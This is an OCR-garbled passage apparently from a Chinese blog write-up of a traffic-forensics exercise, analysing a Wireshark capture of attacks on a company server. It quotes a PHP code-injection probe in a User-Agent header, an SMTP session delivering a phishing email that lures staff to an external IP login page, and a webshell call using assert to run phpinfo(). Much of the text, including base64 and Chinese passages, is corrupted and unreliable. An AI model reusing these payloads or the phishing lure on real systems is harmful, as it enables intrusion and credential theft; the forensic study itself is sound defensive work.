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FEHREAAF LB $)183.129.152.140%f172.16.61.199 kit H F %% L =gk, I H1Eheaderdi & & /LY

B IP183.129.152.140

59486 2016-08-09 16:49:09.454464 183.129.152.140 172.16.61.199 HTTP 258 GET /template/webui/ligerUI/ HTTP/1.1
59489 2016-08-09 16:49:09.455486 172.16.61.199 183.129.152.140 HTTP 1422 HTTP/1.1 200 OK (text/html)
59513 2016-08-09 :09.530978 172.16.61.199 HTTP 369 GET /template/webui/ligerUI/ HTTP/1.1
59517 2016-08-09 209 g Wireshark - % (tcp.stream eq 2021) - h 183.129 peap o
59537 2016-08-09 109.¢
59544 2016-08-09 109.¢ |GET /template/webui/ligeruI/ HTTP/1.1 ~
59573 2016-08-09 :09.7 |User-Agent: ';print(md5(acunetix_wvs_security test));$a=" |
59575 2016-08-09 :09.7 |Host: oa.t3sec.cc:8082
59600 2016-08-09 :09.7 | Connection: Keep-alive
59601 2016-08-09 :09.7 |Accept-Encoding: gzip,deflate
< Tttt ottt om ot | Accept: */x
Frame 59489: 1422 bytes on w

Ethernet II, Src: VMware_3f: HTTP/1.1 200 OK

Internet Protocol Version 4,
Transmission Control Protoco
Hypertext Transfer Protocoll
Line-based text data: text/h

Content-Length: 1137

Connection: Keep-Alive

0000 fc 99 47 22 d2 09 00 50 | <html>
0010 @5 80 e6 2b 40 00 40 06 <head>
0020 98 8c 00 50 6f 16 02 cf

0030 00 a4 76 e3 00 00 01 01

0040 99 2a 48 54 54 50 2f 31 </head>
0050 4b @d @a 44 61 74 65 3a <body>

0060 20 41 75 67 20 32 30 31
0076 35 30 20 47 4d 54 od @a
0080 41 70 61 63 68 65 2f 32
0090 6e 74 4f 53 29 20 50 48
0020 od @a 43 6f 6e 74 65 6e
00bo  3a 20 31 31 33 37 od @a
00cO 76 65 3a 20 74 69 6d 65

<table>

@ 7 1 183.129. pcap

iahod
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Keep-Alive: timeout=5, max=95

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">

<tr><td valign="top"><img src="/icons/back.gif" alt="[PARENTDIR]"></td><td><a href="/template/

IM<Panant Ninactans fas

Date: Tue, 09 Aug 2016 08:49:50 GMT
Server: Apache/2.4.6 (Cent0S) PHP/5.4.16

Content-Type: text/html;charset=IS0-8859-1

<title>Index of /template/webui/ligerUI</title>

<h1>Index of /template/webui/ligerUI</hl>

<tr><th valign="top"><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;0=D">Name</
a></th><th><a href="?C=M;0=A">Last modified</a></th><th><a href="?C=S;0=A">Size</a></th><th><a
href="?C=D;0=A">Description</a></th></tr>

<tr><th colspan="5"><hr></th></tr>

B B D £ NOF O R N P P N N PN (0. 2%)

HEE—NREAHERSMTPIMYL, BEETCPHL, BILAHE RIZHEFE & MAIL FROM:<xsser@live.cn>

CibrmRg e

= TCP i (tcp.stream eq 1005) - #{i&

D_eth0_NS_2016

9_164452.pcap

220 ESMTP READY
EHLO BAY@@4-0MC1S5.hotmail.com

250-ETRN

250-AUTH=LOGIN

250-AUTH LOGIN CRAM-MD5
250-8BITMIME

250 SIZE

MAIL FROM:<xsser@live.cn4

250 <xsser@live.cn>, Sender ok
RCPT TO:<it@t3sec.cc>

250 <it@t3sec.cc>, Recipient ok
RCPT TO:<lixiaofei@t3sec.cc>

DATA

Tua QO A IATE A1 AR« 28

R 5 A HR A A

Content-Type: text/plain; charsets

Content-Transfer-Encoding:| base64

250-mail.t3sec.cc Hello BAY@@4-OMC1S5.hotmail.com, pleased to meet you

250 «lixiaofei@t3sec.cc>, Recipient ok

354 Enter mail, end with <CRLF>.<CRLF>
Received: from APCO1-HK2-obe.outbound.protection.outlook.com ([65.54.19@.59]) by BAY@@4
OMC1S5.hotmail.com over TLS secured channel with Microsoft SMTPSVC(7.5.7601.23008);

_ATOR

--_000_KL1PRO601IMB1527105C1DD8OA44F4F39916A01COKL1PRO6GIMB1527 _

"gb2312"

tP0O80@rrDoaMNCiAgICAgvPjT2rmry77N+MLNVNy5ubjEtgq+jrLK/t9bTptPDO0jSqsn9vlajrlL7]
sOaxvmlhaWyhom9hoaljcm21yM+1zbPW8LK9vavM5ru706zH67TzvNK1x8K8aHRAcDovLzExOCAx
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Sl

LoD

@shuF
wsnuz



MU NL L JL ol UV E VL LU LU JWUIT TGV WLV T UV LY LAINNANRNUINAIL LI JALIULU L Lo Ul Jf Uy oy

CiAgICDQUOC7tP0O8BGOhDQONCE==

--_000_KL1PRO601MB1527105C1DD8OA44AFAF39916A01COKL1PRO6OIMB1527
Content-Type: text/html; charset:fgbZBlzq
Content-Transfer-Encoding: [quoted-printable]

<html>

<head>

<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Dgbh2312">
<style type=3D"text/css" style=3D"display:none;"><!-- P {margin-top:@;margi=
n-bottom:0;} --></style>

</head>

<body dir=3D"1tr">

<div id=3D"divtagdefaultwrapper" style=3D"font-size:12pt;color:#000000;back=

<p><span id=3D"ms-rterangepaste-start"></span></p>

<div>=B4=F3=BC=D2=BA=C3=A1=A3<br>

&nbsp;&nbsp;&nbsp;&nbsp; =BC=F8=D3=DA=B9=AB=CB=BE=CD=F8=C2=E7=BC=DC=B9=B9=
=B8=C4=B6=AF=A3=AC=B2=BF=B7=D6=D3=A6=D3=C3=DO=E8=D2=AA=C9=FD=BC=B6=A3=AC=BE=
=(C9=BO=E6=B1=BEmail=A1=A20a=A1=A2crm=B5=C8=CF=B5=CD=B3=D6=F@=B2=BD=BD=AB=CC=
=E6=BB=BB=A3=AC=C7=EB=B4=F3=BC=D2=B5=C7=C2=BChttp://118.194.196.232:8084/ge=

t.php =CC=EE=D0=B4=D7=D4=BC=BA=B5=C4=D5=CA=BA=C5=D2=D4=B1=E3=C5=E4=BA=CF=CF= csD

tPOB0rDoaMMNCIAgICAGVP]T2rmry 77T N+MLnvNySubjEIg+rLK/t9b TptPDOOjSgsn9vLajrL 7.
sOaxvmihaWyhomShoaJjcm2 1yM+1zbPWBLKSvaviMSru7o6zHET TzvNK 1x8K8aHROcDovLzExOC4x
OTQUMTK2L]jIzM]jod4MDgOL2dIdCSwaHAgzO TQINTUVLG1XNXKusXS1LH[xeS628+1zbPJ/by20aMN
CIAgICDQuICTIPO80gOhDQONCg==

ground-color[14 bytes missing in capture file].family:Calibri,Arial,Helvetica,sans-serif;">

@<hi1=F
WSNUZ
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SEEES O OHex BBSE: S v S cB2312 v a\C]
FERET.
BT RIIMSERENE, BONAEENR, [BiEFnail, ca, crnBRGHFEISER, BAFRSRhttp://118.1584.196.232:8084/get.php
HEBRCHWESLIEESESR.
EHEER | |
CSDN @snuzr

base64 flquoted-printablef#id —FE M A%, TERERgb23124%45

M Wireshark - {88 HTTP 7% (tcp.stream eq 73571) - ht.pcap —

GET /admin.bak.php?a=assert&b-=phpinfo() HTTP/1.1

Host: oa.t3sec.cc:8082

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=9.3

Accept-Encoding: gzip, deflate

Cookie: my expand 3=2%2C1%2C; PHPSESSID=1q5vn8k9fe72pnsffjv351jj71;
po_auth=MQkwOWZ1iY2U@NJjUINDEWYmMwM2JhZmEXZDEXZ]jc20DQ3NQ%3D%3D;
loginpass=ec38fe2a8497e0a8d6d349b3533038cb

Connection: keep-alive

NOFOLLOW, NOARCHIVE" /></head>

<body><div class="center">

<table border="0" cellpadding="3" width="600">

<tr class="h"><td>

<a href="http://www.php.net/"><img border="0" src="/admin.bak.php?=PHPE9568F34-D428-11d2-
A769-00AABOIACF42" alt="PHP Logo" /></a><hl class="p">PHP Version 5.4.16</h1>

</td></tr>
</table><br />




<table border="0" cellpadding="3" width="660">

<tr><td class="e">System </td><td class="v">Linux localhost.localdomain 3.10.0-123.el7.x86 64 #1
SMP Mon Jun 30 12:09:22 UTC 2014 x86_64 </td></tr>

<tr><td class="e">Build Date </td><td class="v">May 12 2016 13:46:18 </td></tr>

<tr><td class="e">Server API </td><td class="v">Apache 2.0 Handler </td></tr>

<tr><td class="e">Virtual Directory Support </td><td class="v">disabled </td></tr>

<tr><td class="e">Configuration File (php.ini) Path </td><td class="v">/etc </td></tr>

<tr><td class="e">Loaded Configuration File </td><td class="v">/etc/php.ini </td></tr>

<tr><td class="e">Scan this dir for additional .ini files </td><td class="v">/etc/php.d </td></tr>

<tr><td class="e">Additional .ini files parsed </td><td class="v">/etc/php.d/curl.ini,

/etc/php.d/fileinfo.ini, v
A 34858. 2 BEFH #H, 36 RHEAE A4, 2 turn(s). AL, CSDN @shuzk
BREEI

BEBRE—NRELSHshell, WLL#E—5iTJE http.request & ip.addr == 183.129.152.140

ZARTT, ENMRBE LT IHFZEDshelI P (/data/uploadfile) , & T A AMwpKIEH# phpinfo(), FEASH NMHgettsdr
LW

M Wireshark - iBE5 HTTP ifi. (tcp.stream eq 7351) - ht.pcap — [m] x

GET /admin.bak.php?a=assert&b=phpinfo() HTTP/1.1 =
Host: oa.t3sec.cc:8082

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Cookie: my_expand_3=2%2C1%2C; PHPSESSID=1q5vn8k9fe72pnsffjv351jj71;
po_auth=MQkwOWZiY2U@NjUINDEwYmMwM2JhZmExZDEXZjc20DQ3NQ%3D%3D;
loginpass=ec38fe2a8497e0a8d6d349b35330838chb

Connection: keep-alive

NOFOLLOW, NOARCHIVE" /></head>

<body><div class="center">

<table border="6" cellpadding="3" width="600">

<tr class="h"><td>

<a href="http://www.php.net/"><img border="0" src="/admin.bak.php?=PHPE9568F34-D428-11d2-
A769-00AARRIACF42" alt="PHP Logo" /></a><hl class="p">PHP Version 5.4.16</h1l>

<ftd></tr>

</table><br />

<table border="0" cellpadding="3" width="600">

<tr><td class="e">System </td><td class="v">Linux localhost.localdomain 3.10.0-123.el17.x86_64 #1
SMP Mon Jun 3@ 12:09:22 UTC 2014 x86_64 </td></tr>

<tr><td class="e">Build Date </td><td class="v">May 12 2016 13:46:18 </td></tr>

<tr><td class="e">Server API </td><td class="v">Apache 2.8 Handler </td></tr>

<tr><td class="e">Virtual Directory Support </td><td class="v">disabled </td></tr>

<tr><td class="e">Configuration File (php.ini) Path </td><td class="v">/etc </td></tr>

<tr><td class="e">Loaded Configuration File </td><td class="v">/etc/php.ini </td></tr>

<tr><td class="e">Scan this dir for additional .ini files </td><td class="v">/etc/php.d </td></tr>
<tr><td class="e">Additional .ini files parsed </td><td class="v">/etc/php.d/curl.ini,
/etc/php.d/fileinfo.ini, v
A 34858, 2 B H4H. 36 BEE HH. 2 turn(s). K. CSDN @shuz®

Ja 1134 admin. bak.php
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